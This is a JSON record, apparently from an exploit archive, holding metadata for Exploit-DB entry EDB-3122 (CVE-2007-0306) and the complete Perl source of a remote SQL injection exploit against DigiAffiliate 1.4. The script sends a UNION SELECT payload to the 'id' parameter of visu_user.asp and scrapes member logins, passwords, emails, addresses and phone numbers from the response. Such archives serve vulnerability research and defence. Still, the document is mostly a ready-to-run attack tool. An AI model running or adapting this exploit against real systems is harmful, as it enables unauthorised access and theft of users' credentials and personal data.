{"exploit":{"id":"EDB-3122","name":"Digiappz DigiAffiliate 1.4 - 'id' SQL Injection (SQLi)","description":"Digiappz DigiAffiliate 1.4 - 'id' SQL Injection (SQLi)","cves":["CVE-2007-0306"],"author":"ajann","published":"2007-01-13","platform":"asp","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3122","path":"exploits/asp/webapps/3122.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3122.pl","vulnerabilities":[{"id":"CVE-2007-0306","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in visu_user.asp in Digiappz DigiAffiliate 1.4 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0306","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0306"},"updatedAt":"2024-08-07T12:12:17.978Z","retrievedAt":"2026-11-27T14:08:58.245Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3122.png?v=2","url":"https://exploitbin.com/exploits/EDB-3122","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3122/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3122/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#[Script Name: DigiAffiliate <= V1.4 Remote Blind SQL Injection Exploit\n#[Coded by   : ajann\n#[Author     : ajann\n#[Contact    : :(\n#[S.Page     : http://www.digiappz.com\n#[$$         : .299\n#[..         : ajann,Turkey\n\nuse IO::Socket;\nif(@ARGV < 1){\nprint \"\n[========================================================================\n[//   DigiAffiliate <= V1.4 Remote Blind SQL Injection Exploit\n[//                   Usage: exploit.pl [target]\n[//                   Example: exploit.pl victim.com\n[//                   Example: exploit.pl victim.com\n[//                           Vuln&Exp : ajann\n[========================================================================\n\";\nexit();\n}\n#Local variables\n$server = $ARGV[0];\n$server =~ s/(http:\\/\\/)//eg;\n$host = \"http://\".$server;\n$port = \"80\";\n$file = \"/visu_user.asp?id=\";\n\nprint \"Script <DIR> : \";\n$dir = <STDIN>;\nchop ($dir);\n\nif ($dir =~ /exit/){\nprint \"-- Exploit Failed[You Are Exited] \\n\";\nexit();\n}\n\nif ($dir =~ /\\//){}\nelse {\nprint \"-- Exploit Failed[No DIR] \\n\";\nexit();\n }\n\n\n$target = \"-1%20union%20select%200,login,password,name,email,0,fax,city,0,address1,address2,phone,0,0,0,0,city,0,0%20from%20members\";\n$target = $host.$dir.$file.$target;\n\n#Writing data to socket\nprint \"+**********************************************************************+\\n\";\nprint \"+ Trying to connect: $server\\n\";\n$socket = IO::Socket::INET->new(Proto => \"tcp\", PeerAddr => \"$server\", PeerPort => \"$port\") || die \"\\n+ Connection failed...\\n\";\nprint $socket \"GET $target HTTP/1.1\\n\";\nprint $socket \"Host: $server\\n\";\nprint $socket \"Accept: */*\\n\";\nprint $socket \"Connection: close\\n\\n\";\nprint \"+ Connected!...\\n\";\n#Getting\nwhile($answer = <$socket>) {\nif ($answer =~ /name=\\\"login\\\" size=\\\"30\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\\\">/){\nprint \"+ Exploit succeed! Getting admin information.\\n\";\nprint \"+ ---------------- +\\n\";\nprint \"+ Username: $1\\n\";\n}\n\nif ($answer =~ /name=\\\"password\\\" size=\\\"30\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\\\">/){\nprint \"+ Password: $1\\n\";\n}\n\nif ($answer =~ /name=\\\"name\\\" size=\\\"30\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\\\">/){\nprint \"+ Name: $1\\n\";\n}\n\nif ($answer =~ /name=\\\"email\\\" size=\\\"30\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\" onBlur/){\nprint \"+ Email: $1\\n\";\n}\n\nif ($answer =~ /name=\\\"address1\\\" size=\\\"30\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\\\">/){\nprint \"+ Address1: $1\\n\";\n}\n\nif ($answer =~ /name=\\\"address2\\\" size=\\\"30\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\\\">/){\nprint \"+ Address1: $1\\n\";\n}\n\nif ($answer =~ /name=\\\"city\\\" size=\\\"30\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\\\">/){\nprint \"+ City: $1\\n\";\n}\n\nif ($answer =~ /name=\\\"postcode\\\" size=\\\"30\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\\\">/){\nprint \"+ PostCode: $1\\n\";\n}\n\nif ($answer =~ /name=\\\"county\\\" size=\\\"30\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\\\">/){\nprint \"+ Country: $1\\n\";\n}\n\nif ($answer =~ /name=\\\"phone\\\" size=\\\"30\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\\\">/){\nprint \"+ Phone: $1\\n\";\n}\n\nif ($answer =~ /name=\\\"iurl\\\" size=\\\"24\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\\\">/){\nprint \"+ Fax: $1\\n\";\n}\n\n\nif ($answer =~ /name=\\\"title\\\" size=\\\"30\\\" class=\\\"gray_back\\\" value=\\\"(.*?)\\\">/){\nprint \"+ Country: $1\\n\";\n}\n\nif ($answer =~ /Syntax error/) {\nprint \"+ Exploit Failed : ( \\n\";\nprint \"+**********************************************************************+\\n\";\nexit();\n}\n\nif ($answer =~ /Internal Server Error/) {\nprint \"+ Exploit Failed : (  \\n\";\nprint \"+**********************************************************************+\\n\";\nexit();\n}\n }\n\n# milw0rm.com [2007-01-13]","sha256":"a9220de97bdf17525b0c306841b39a89c900b50887614e236597e32fe3334bf0","bytes":3496,"fetchedAt":"2026-11-27T14:08:51.948Z","encoding":"utf-8 (display only; download retains original bytes)"}